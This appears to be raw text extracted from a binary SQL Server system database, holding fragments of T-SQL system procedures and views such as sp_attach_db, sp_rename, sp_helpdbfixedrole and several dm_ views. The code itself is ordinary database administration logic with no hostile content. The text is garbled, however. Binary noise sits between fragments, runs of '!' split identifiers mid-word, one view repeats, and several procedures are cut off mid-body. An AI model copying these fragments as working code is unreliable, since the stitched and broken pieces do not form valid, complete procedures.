	, @filename12 nvarchar(260) = NULL
	, @filename13 nvarchar(260) = NULL
	, @filename14 nvarchar(260) = NULL
	, @filename15 nvarchar(260) = NULL
	, @filename16 nvarchar(260) = NULL

as
	declare @execstring nvarchar (max)
	set nocount on

	if ((@dbname is null or datalength(@dbname) = 0) or
	    (@filename1 is null or datalength(@filename1) = 0))
	begin
		raiserror (15004,-1,-1)
		return (1)
	end

	-- build initial CREATE DATABASE
	select @execstring = 'CREATE DATABASE '
		+ quotename( @dbname , '[')
		+ ' ON (FILENAME ='
		+ ''''
		+ REPLACE(@filename1,N'''',N'''''')
		+ ''''

	-- add any additional files

	if (@filename2 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename2 ,N'''',N'''''')
			+ ''''
	end

	if (@filename3 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename3 ,N'''',N'''''')
			+ ''''
	end

	if (@filename4 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename4 ,N'''',N'''''')
			+ ''''
	end

	if (@filename5 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename5 ,N'''',N'''''')
			+ ''''
	end

	if (@filename6 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename6 ,N'''',N'''''')
			+ ''''
	end

	if (@filename7 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename7 ,N'''',N'''''')
			+ ''''
	end

	if (@filename8 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename8  ,N'''',N'''''')
			+ ''''
	end

	if (@filename9 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename9 ,N'''',N'''''')
			+ ''''
	end

	if (@filename10 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename10  ,N'''',N'''''')
			+ ''''
	end

	if (@filename11 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename11  ,N'''',N'''''')
			+ ''''
	end

	if (@filename12 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename12  ,N'''',N'''''')
			+ ''''
	end

	if (@filename13 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename13  ,N'''',N'''''')
			+ ''''
	end

	if (@filename14 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename14  ,N'''',N'''''')
			+ ''''
	end

	if (@filename15 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename15 ,N'''',N'''''')
			+ ''''
	end

	if (@filename16 is not null)
	begin
		select @execstring = @execstring
			+ ' ), (FILENAME= '''
			+ REPLACE(@filename16  ,N'''',N'''''')
			+ ''''
	end


	-- note it as for attach
	select @execstring = @execstring + ' ) FOR ATTACH'

	EXEC (@execstring)

	-- No need to raiserror as the CREATE DATABASE will do so
	if @@error <>  0
		return(1)

	return (0) -- sp_attach_db
0LSU@ y8CREATE VIEW sys.dm_io_pending_io_requests AS
	SELECT *
	FROM OpenRowSet(TABLE SYSIOS)
0S 8 
-- add it
create view sys.dm_pdw_nodes_exec_query_resource_semaphores as
select *, convert(int, null) pdw_node_id from sys.dm_exec_query_resource_semaphores
0@9U (8
create function [sys].[fn_cdc_trim_whitespace]
(
	@column sysname
)
returns sysname
as
begin
	declare @len int, @ct int, @ch nchar, @found_ch bit
	
	select @len = LEN(@column)
	
	-- Determine the number of leading whitespace characters
	select @ct = 1, @found_ch = 0
	while (@ct <= @len and @found_ch = 0)
	begin
		if (substring(@column, @ct, 1) in (nchar(9), nchar(10), nchar(11), nchar(12), nchar(13), nchar(32)))
			set @ct = @ct + 1
		else	
			set @found_ch = 1
	end
	
	-- Remove leading whitespace
	set @column = substring(@column, @ct, @len-(@ct-1))

	select @len = LEN(@column)
	
	-- Determine the number of trailing whitespace characters
	select @ct = 0, @found_ch = 0
	while (@ct < @len and @found_ch = 0)
	begin
		if (substring(@column, @len - @ct, 1) in (nchar(9), nchar(10), nchar(11), nchar(12), nchar(13), nchar(32)))
			set @ct = @ct + 1
		else	
			set @found_ch = 1
	end

	-- Remove trailing whitespace
	set @column = substring(@column, 1, @len-@ct)
		
	return @column
end
0N h8Yh>8^}(ID = 1380143948, Success = 1, TargetLoginName = NULL, TargetUserName = NULL, Role = NULL, Object = NULL, Provider = @provider, Server = @server)
	end

	-- SET GENERAL DEFAULTS
	SELECT	@dataaccess = @linkedstyle,		-- Linked-servers get data access
			@dtcpromotionforremoteproc = @linkedstyle,	-- Linked-servers get DtcPromotionForRemoteProc
			@rpcin = 0, @rpcout = 0			-- No RPC for non-SQL Server

	-- HANDLE DEFAULTS FOR SQL Server PROVIDER
	if @provider is null
	begin
		select	@srvproduct = N'SQL Server',		-- force case to be this
				@provider = N'SQLNCLI',				-- SQL Server provider (SNAC)
				@datasrc = @server,					-- datasrc is (network) server name
				@location = NULL,
				@provstr = NULL,
				@catalog = NULL,
				@rpcin = 1, @rpcout = 1				-- enable RPC for SQL Server
	end

	-- CREATE INITIAL LOGIN -- Raises xact-abort error if row-too-long
	EXEC %%LinkedServer () . NewServer (
				Name = @server,
 				Product = @srvproduct,
				Provider = @provider,
				Local = @localentry,
				Linked = @linkedstyle,
				RPCIn = @rpcin,
				RPCOut = @rpcout,
				DataAccess = @dataaccess,
				DtcPromotionForRemoteProc = @dtcpromotionforremoteproc,
				Datasource = @datasrc,
				Location = @location,
				ProviderString = @provstr,
				Catalog = @catalog)

	set @errcode = @@ERROR

	-- CHECK FOR DUPLICATE
	IF @errcode = 1
	BEGIN
		return (2); -- dup
	END
	ELSE IF @errcode = 3
	BEGIN
		return (3); -- matrix not available
	END

	EXEC %%LinkedServer(Name=@server).SetUseRemoteCollation(Value=1)	-- Other props correctly default to 0/NULL

	-- ADD DEFAULT MAPPING FOR OUTGOING EVENTS
	EXEC %%LinkedServer(Name=@server).NewLinkedLogin(LocalID=0, UseSelf=1, RemoteName=NULL, Password=NULL)

	-- SUCCESS
	return (0) -- sp_MSaddserver_internal
0S 8 
-- add it
create view sys.dm_pdw_nodes_exec_query_resource_semaphores as
select *, convert(int, null) pdw_node_id from sys.dm_exec_query_resource_semaphores
is NULL
		OR	( @triggertype = 'DELETE' AND ObjectProperty( object_id, 'ExecIsDeleteTrigger') = 1 )
		OR	( @triggertype = 'INSERT' AND ObjectProperty( object_id, 'ExecIsInsertTrigger') = 1 )
		OR	( @triggertype = 'UPDATE' AND ObjectProperty( object_id, 'ExecIsUpdateTrigger') = 1 ) )

return(0)  --sp_helptrigger
S{`5<wk,n+0s U8create procedure sys.sp_helpdbfixedrole
	@rolename		sysname = NULL
AS
	if @rolename is not null
	begin
		-- VALIDATE GIVEN NAME
		if not exists (select * from sys.database_principals where name = @rolename
						and principal_id >= 16384 and principal_id <= 16393)
		begin
			raiserror(15412, -1, -1, @rolename)
			return (1)
		end

		-- RESULT SET FOR SINGLE FIXED-ROLE
		select 'DbFixedRole' = u.name, 'Description' = p.name collate catalog_default
			from sys.database_principals u, sys.role_permissions p
			where u.name = @rolename and
				  u.principal_id >= 16384 and
				  u.principal_id <= 16393 and
				  p.number = u.principal_id and p.type = 'DBR' and p.low = 0
	end
	else
	begin
		-- RESULT SET FOR ALL FIXED-ROLES
		select 'DbFixedRole' = u.name, 'Description' = p.name collate catalog_default
			from sys.database_principals u, sys.role_permissions p
			where u.principal_id >= 16384 and
				  u.principal_id <= 16393 and
				  p.number = u.principal_id and p.type = 'DBR' and p.low = 0
	end

    return (0) -- sp_helpdbfixedrole
0"32 	8CREATE VIEW sys.dm_hadr_internal_transport_partners AS
	SELECT
		ags.ag_id, tr.*
	FROM
		OpenRowset(TABLE DM_HADR_INTERNAL_WSFC_AGS) AS ags
	CROSS APPLY
		OpenRowset(TABLE DM_HADR_INTERNAL_TRANSPORT_PARTNERS, ags.ag_id) AS tr
09{p P8hh\>x?0#st@ 8CREATE VIEW sys.dm_db_file_space_usage AS
	SELECT *
	FROM OpenRowset(TABLE DM_DB_FILE_SPACE_USAGE)
0@ 8create procedure sys.sp_invalidate_textptr
	@TextPtrValue      varbinary(16) = 0x00
as
	dbcc invalidate_textptr(@TextPtrValue)
	return (0); -- sp_invalidate_textptr
0op 8CREATE VIEW sys.dm_hadr_internal_availability_group_states AS
	SELECT
		group_id = IntAgStates.group_id,
		primary_replica = IntAgStates.primary_replica,
		configured_replica_count = IntAgStates.configured_replica_count,
		local_replica_role = IntAgStates.local_replica_role
	FROM
		OpenRowset(TABLE DM_HADR_INTERNAL_AVAILABILITY_GROUP_STATES) AS IntAgStates
0{@ 8CREATE VIEW sys.dm_broker_activated_tasks AS
    SELECT * FROM OpenRowset (TABLE SBACTIVATEDTASKS)
0 8--
-- Name: sp_MSrecordsnapshotdeliveryprogress
--
-- Description: This procedure is used by the distribution agent or the merge
--              agent to record a snapshot delivery work item that has been
--              applied to a subscriber database in the 
--              MSsnapshotdeliveryprogress table. In the event of restarting 
--              an interrupted snapshot delivery process, the distribution or
--              merge agent can use the information stored in the 
--              MSsnapshotdeliveryprogress table to avoid redoing snapshot
--              delivery processing that has already been applied to the 
--              subscriber.
-- 
-- Note: This procedure should only be called by the distribution agent or
--       the merge agent at the subscriber database.
--
-- Parameters: @snapshot_session_token nvarchar(260) (mandatory)
--               - a UniCode string that uniquely identifies a snapshot
--                 delivery session. For now, this will be a the full folder
--                 path of the particular snapshot being applied (hence the
--                 260 characters size).
--             @snapshot_progress_token nvarchar(500) (mandatory)
--               - A unicode string that uniquely identifies a snapshot work
--                 item (schema creation, bulk-loading data) that has been 
--                 applied to the subscriber. 
--
-- Returns: 0 - succeeded
--          1 - failed
-- 
-- Security: Execute permission of this procedure is granted to public;
--           procedural security check will be performed to make sure
--           that the caller is either a db_owner of the current database
--           or a sysadmin. 
--
create procedure sys.sp_MSrecordsnapshotdeliveryprogress (
    @snapshot_session_token nvarchar(260),
    @snapshot_progress_token nvarchar(500)
    )
as
begin
    set nocount on
    set arithabort on
    declare @retcode int
    declare @snapshot_progress_token_hash int
    select @retcode = 0

    exec @retcode = sys.sp_MSreplcheck_subscribe 
    if @retcode <> 0 or @@error <> 0
    begin
        select @retcode = 1
        goto FAILURE
    end
    
    if object_id('dbo.MSsnapshotdeliveryprogress') is null
    begin
        create table dbo.MSsnapshotdeliveryprogress 
        (
           session_token nvarchar(260) not null,
           progress_token_hash int not null,
           progress_token nvarchar(500) not null,
           progress_timestamp datetime default getdate()
        )
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
        create index ci_MSsnapshotdeliveryprogress_progress_token_hash 
            on dbo.MSsnapshotdeliveryprogress(progress_token_hash)
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
        create index nci_MSsnapshotdeliveryprogress_session_token
            on dbo.MSsnapshotdeliveryprogress(session_token)
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
        exec @retcode = dbo.sp_MS_marksystemobject 'dbo.MSsnapshotdeliveryprogress'
        if @retcode <> 0 or @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
    end 

    select @snapshot_progress_token_hash = sys.fn_repl32bitstringhash(@snapshot_progress_token)
    if @retcode <> 0 or @@ERROR <> 0
    begin 
        select @retcode = 1
        goto FAILURE
    end        

    if exists (select * from MSsnapshotdeliveryprogress 
                where progress_token_hash = @snapshot_progress_token_hash
                  and progress_token = @snapshot_progress_token
                  and session_token = @snapshot_session_token)
    begin
        update MSsnapshotdeliveryprogress
           set progress_timestamp = getdate()
         where progress_token = @snapshot_progress_token
           and session_token = @snapshot_session_token
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end        
    end
    else
    begin
        insert MSsnapshotdeliveryprogress 
            values (
                @snapshot_session_token,
                @snapshot_progress_token_hash,
                @snapshot_progress_token, 
                default)
        if @@ERROR <> 0
        begin 
            select @retcode = 1
            goto FAILURE
        end                 
    end         
    if @@ERROR <> 0
    begin 
        select @retcode = 1
        goto FAILURE
    end        

FAILURE:
    return @retcode
end
0׽@ 8create procedure sys.sp_MSscript_endtrig
as
BEGIN
    set nocount on
    declare @cmd nvarchar(4000)

    select @cmd = N'
    if (@@trancount > 0)
        commit tran
    return 

FAILURE:
    if (@@trancount > 0)
    begin
        exec sys.sp_MSreplraiserror 20512
        rollback tran
    end '
    insert into #proctext(procedure_text) values(@cmd)
END
0M 88"0 D8U`h%0' D8}h5#'7C^X`<(xLvhnot null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical4 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical4 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize4)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical4)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 4
	end
	else
		goto no_more_devs

	if @datalogical5 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical5 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical5 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize5)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical5)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 5
	end
	else
		goto no_more_devs

	if @datalogical6 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical6 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical6 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize6)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical6)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 6
	end
	else
		goto no_more_devs

	if @datalogical7 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical7 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical7 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize7)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical7)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 7
	end
	else
		goto no_more_devs

	if @datalogical8 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical8 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical8 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize8)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical8)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 8
	end
	else
		goto no_more_devs

	if @datalogical9 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical9 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical9 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize9)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical9)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 9
	end
	else
		goto no_more_devs

	if @datalogical10 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical10 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical10 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize10)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical10)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 10
	end
	else
		goto no_more_devs

	if @datalogical11 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical11 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical11 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize11)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical11)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 11
	end
	else
		goto no_more_devs

	if @datalogical12 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical12 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical12 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize12)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical12)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 12
	end
	else
		goto no_more_devs

	if @datalogical13 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical13 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical13 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize13)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical13)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 13
	end
	else
		goto no_more_devs

	if @datalogical14 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical14 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical14 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize14)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical14)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 14
	end
	else
		goto no_more_devs

	if @datalogical15 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical15 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical15 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize15)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical15)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 15
	end
	else
		goto no_more_devs

	if @datalogical16 is not null
	begin
		select @exec_str = 'ALTER DATABASE '
			+ quotename( @dbname , '[')
			+' ADD FILE (NAME ='
			+ quotename( @datalogical16 , '[')
			+ ',FILENAME ='
			+ ''''
			+ REPLACE(@dataphysical16 ,N'''',N'''''')
			+ ''''
			+ ',SIZE ='
			+ convert(varchar(28),@datasize16)
			+ ') TO FILEGROUP readonlyfilegroup'
		EXEC(@exec_str)
		if @retcode <> 0
		begin
			raiserror(15269,-1,-1,@datalogical16)
			select @exec_str = 'DROP DATABASE '
					+ quotename( @dbname , '[')
			EXEC(@exec_str)
			return(1)
		end
		select @numdevs = 16
	end

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(yHvcreate procedure sys.sp_rename
	@objname	nvarchar(1035),		-- up to 4-part "old" name
	@newname	sysname,			-- one-part new name
	@objtype	varchar(13) = null	-- identifying the name
as
/* DOCUMENTATION:
   [1]  To rename a table, the @objname (meaning OldName) parm can be
passed in totally unqualified or fully qualified.
   [2]  The SA or DBO can rename objects owned by lesser users,
without the need for SetUser.
   [3]  The Owner portion of a qualified name can usually be
passed in in the omitted form (as in MyDb..MyTab or MyTab).  The
typical exception is when the SA/DBO is trying to rename a table
where the @objname is present twice in sysobjects as a table
owned only by two different lesser users; requiring an explicit
owner qualifier in @objname.
   [4]  An unspecified Owner qualifier will default to the
current user if doing so will either resolve what would
otherwise be an ambiguity within @objtype, or will result
in exactly one match.
   [5]  If Database is part of the qualified @objname,
then it must match the current database.  The @newname parm can
never be qualified.
   [6]  Here are the valid @objtype values.  They correspond to
system tables which track each type:
      'column'  'database'  'index'  'object'  'userdatatype'  'statistics'
The @objtype parm is sometimes required.  It is always required
for databases.  It is required whenever ambiguities would
otherwise exist.  Explicit use of @objtype is always encouraged.
   [7]  Parms can use quoted_identifiers.  For example:
   Execute sp_rename 'amy."his table"','"her table"','object'
*/
	set nocount      on
	set ansi_padding on

	declare @objtypeIN		varchar(13),
		@objtypeINOrig		varchar(13),
			@objnameLen 		int,
			@CurrentDb		sysname,
			@CountNumNodes	int,
			@UnqualOldName	sysname,
			@QualName1		sysname,
			@QualName2		sysname,
			@QualName3		sysname,
			@OwnAndObjName	nvarchar(517),	-- "[owner].[object]"
			@SchemaAndTypeName	nvarchar(517),	-- "[schema].[type]"
			@objid			int,
			@xtype			nchar(2),
			@indexstatsid		int,
			@colid			int,
			@cnstid			int,
			@xusertype		int,
			@schid			int,
			@objid_tmp		int,
			@xtype_tmp		nchar(2),
			@retcode		int,
			@published		bit		-- Indicates table is used in replication



	-- initial (non-null) settings
	select	@CurrentDb		= db_name(),
			@objtypeIN		= @objtype,
			@objtypeINOrig		= @objtype

	-- make type case insensitive
	select @objtype = lower(@objtypeIN collate Latin1_General_CI_AS)

	------------------------------------------------------------------------
	-------------------  PHASE 10:  Simple parm edits  ---------------------
	------------------------------------------------------------------------

	-- Valid rename-type param?
	if (@objtype is not null AND
		@objtype not in ('column', 'database', 'index', 'object', 'userdatatype', 'statistics'))
	begin
		raiserror(15249,-1,-1,@objtypeIN)
		return 1
	end
	-- null names?
	if (@newname IS null)
	begin
		raiserror(15223,-1,11,'NewName')
		return 1
	end
	if (@objname IS null)
	begin
		raiserror(15223,-1,-1,'OldName')
		return 1
	end

	--	Is NewName minimally valid?
	exec @retcode = sp_validname @newname
	if @retcode <> 0
	begin
		raiserror(15224,-1,15,@newname)
		return 1
	end

	--	Parse apart the perhaps dots-qualified old name.
	select @UnqualOldName = parsename(@objname, 1),
			@QualName1 = parsename(@objname, 2),
			@QualName2 = parsename(@objname, 3),
			@QualName3 = parsename(@objname, 4)
	if (@UnqualOldName IS Null)
	begin
		raiserror(15253,-1,-1,@objname)
		return 1
	end

	-- count name parts --
	select @CountNumNodes = (case
				when @QualName3 is not null then 4
				when @QualName2 is not null then 3
				when @QualName1 is not null then 2
				else 1
			end)
	if (@objtype  = 'database' AND @CountNumNodes > 1)
	begin
		raiserror(15395,-1,20,@objtypeIN)
		return 1
	end
	if (@objtype in ('object','userdatatype') AND @CountNumNodes > 3)
	begin
		raiserror(15225,-1,-1,@objname, @CurrentDb, @objtypeIN)
		return 1
	end

	---------------------------------------------------------------------------
	------------------------   PHASE 15:  Lock Down Checks   ------------------
	---------------------------------------------------------------------------

	-- Check if this is an SDS session before applying checks. This is equivalent to chec eflSystemObjects
	if (serverproperty('EngineEdition') = 5)
	begin
		if ((@objtype = 'object' and (@QualName3 is not null or (@QualName2 is not null and @QualName2 != @CurrentDb))) or 
			(@objtype != 'database' and (@QualName3 is not null and @QualName3 != @CurrentDb)) )
		begin
			select @objnameLen = len(@objname)
			raiserror(40515,-1,-1, @objnameLen, @objname)
			return 1
		end
		if (@objtype = 'database')
		begin
			raiserror(40514,-1,-1, 'Renaming a given database with sp_rename')
			return 1
		end
	end

	---------------------------------------------------------------------------
	----------------------  PHASE 20:  Settle Parm1ItemType  ------------------
	---------------------------------------------------------------------------

	------------- database?
	if (@objtype  = 'database')
	begin
		execute @retcode = sys.sp_renamedb @UnqualOldName ,@newname -- de-docu old sproc
		if @retcode <> 0
			return 1
		return 0
	end

	BEGIN TRANSACTION

	------------ type?
	if (@objtype = 'userdatatype' or @objtypeIN is null)
	begin
		select @xusertype = user_type_id, @schid = schema_id
			from sys.types where user_type_id = type_id(@objname)
		
		-- Lock scalar type exclusively and check permissions
		if not (@xusertype is null)
		begin
					
		-- cannot pass @objname	as it is nvarchar(1035) and Invoke fails %%ScalarType does not compile with four part name.
		-- cross db type resolution is not allowed (already taken care of by type_id) so only two part name is required.
		if (@QualName1 is not null)
			select @SchemaAndTypeName = QuoteName(@QualName1) + '.' + QuoteName(@UnqualOldName)
		else
			select @SchemaAndTypeName = QuoteName(@UnqualOldName)
			
			EXEC %%ScalarType(MultiName = @SchemaAndTypeName).LockMatchID(ID = @xusertype, Exclusive = 1)
			if (@@error <> 0)
				select @xusertype = null
		end
	
		-- check for wrong param
		if ((@xusertype is not null AND @objtype <> 'userdatatype') OR
			(@xusertype is null AND @objtype = 'userdatatype'))
		begin
			COMMIT TRANSACTION
			raiserror(15248,-1,-1,@objtypeIN)
			return 1
		end

		if not (@xusertype is null)
			select	@objtype = 'userdatatype'

	end

	-- assuming column/index-name, obtain object/column id's
	if (@objtype in ('column', 'index', 'statistics') or @objtypeIN is null)
	begin
		if @QualName2 is not null
			select @objid = object_id(QuoteName(@QualName2) +'.'+ QuoteName(@QualName1))
		else
			select @objid = object_id(QuoteName(@QualName1))

		if not (@objid is null)	-- nice try?
		begin

			-- obtain owner-qual object name
			select @schid = ObjectProperty(@objid, 'schemaid')
			select @OwnAndObjName = QuoteName(schema_name(@schid))+'.'+QuoteName(object_name(@objid))

			EXEC %%Object(MultiName = @OwnAndObjName).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
			if @@error <> 0
				select @objid = null
			else
				select @xtype = type from sys.objects where object_id = @objid

		end
	end

	------------ column?
	if (@objtype = 'column' or @objtypeIN is null)
	begin
		-- find column
		if (@xtype in ('U','V'))
			select @colid = column_id from sys.columns
					where object_id = @objid and name = @UnqualOldName

		-- check for wrong param
		if ((@colid is not null AND @objtype <> 'column') OR
			(@colid is null AND @objtype = 'column'))
		begin
			COMMIT TRANSACTION
			raiserror(15248,-1,-1,@objtypeIN)
			return 1
		end

		-- remember if we've found a column
		if not (@colid is null)
		begin
			select @published = is_published from sys.objects where object_id = @objid
			if @publi!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(zLvshed = 0
				select @published = is_merge_published from sys.tables where object_id = @objid

			if (@published <> 0)
				begin
					COMMIT TRANSACTION
					raiserror(15051,-1,-1)
					return (0)
				end
			select @objtype = 'column'
		end
	end

	------------ index?
	if (@objtype = 'index' or @objtypeIN is null)
	begin
		-- find index
		if (@xtype in ('U','V'))
			select @indexstatsid = indexproperty(@objid, @UnqualOldName, 'IndexID')

		if (@indexstatsid = 0) 
			set @indexstatsid = NULL;

		-- find columnstore index where there is no stats
		if (@indexstatsid is null)
			select @indexstatsid = index_id from sys.indexes
					where object_id = @objid and name = @UnqualOldName and (type = 5 or type = 6)

		-- check for wrong param
		if ((@indexstatsid is not null AND @objtype <> 'index') OR
		    (@indexstatsid is null AND @objtype = 'index'))			
		begin
			COMMIT TRANSACTION
			raiserror(15248,-1,-1,@objtypeIN)
			return 1
		end

		if not (@indexstatsid is null)
		begin
			select @objtype = 'index'
			select @cnstid = object_id, @xtype = type from sys.objects
				where name = @UnqualOldName and parent_object_id = @objid and type in ('PK','UQ')
		end
	end
	
	------------ statistics?
	if (@objtype = 'statistics')
	begin
		select @indexstatsid = stats_id from sys.stats 
					where object_id = @objid and name = @UnqualOldName
		
		-- check for wrong param
		if (@indexstatsid is null)
		begin
			COMMIT TRANSACTION
			raiserror(15248,-1,-1,@objtypeIN)
			return 1
		end	
	end

	------------ object?
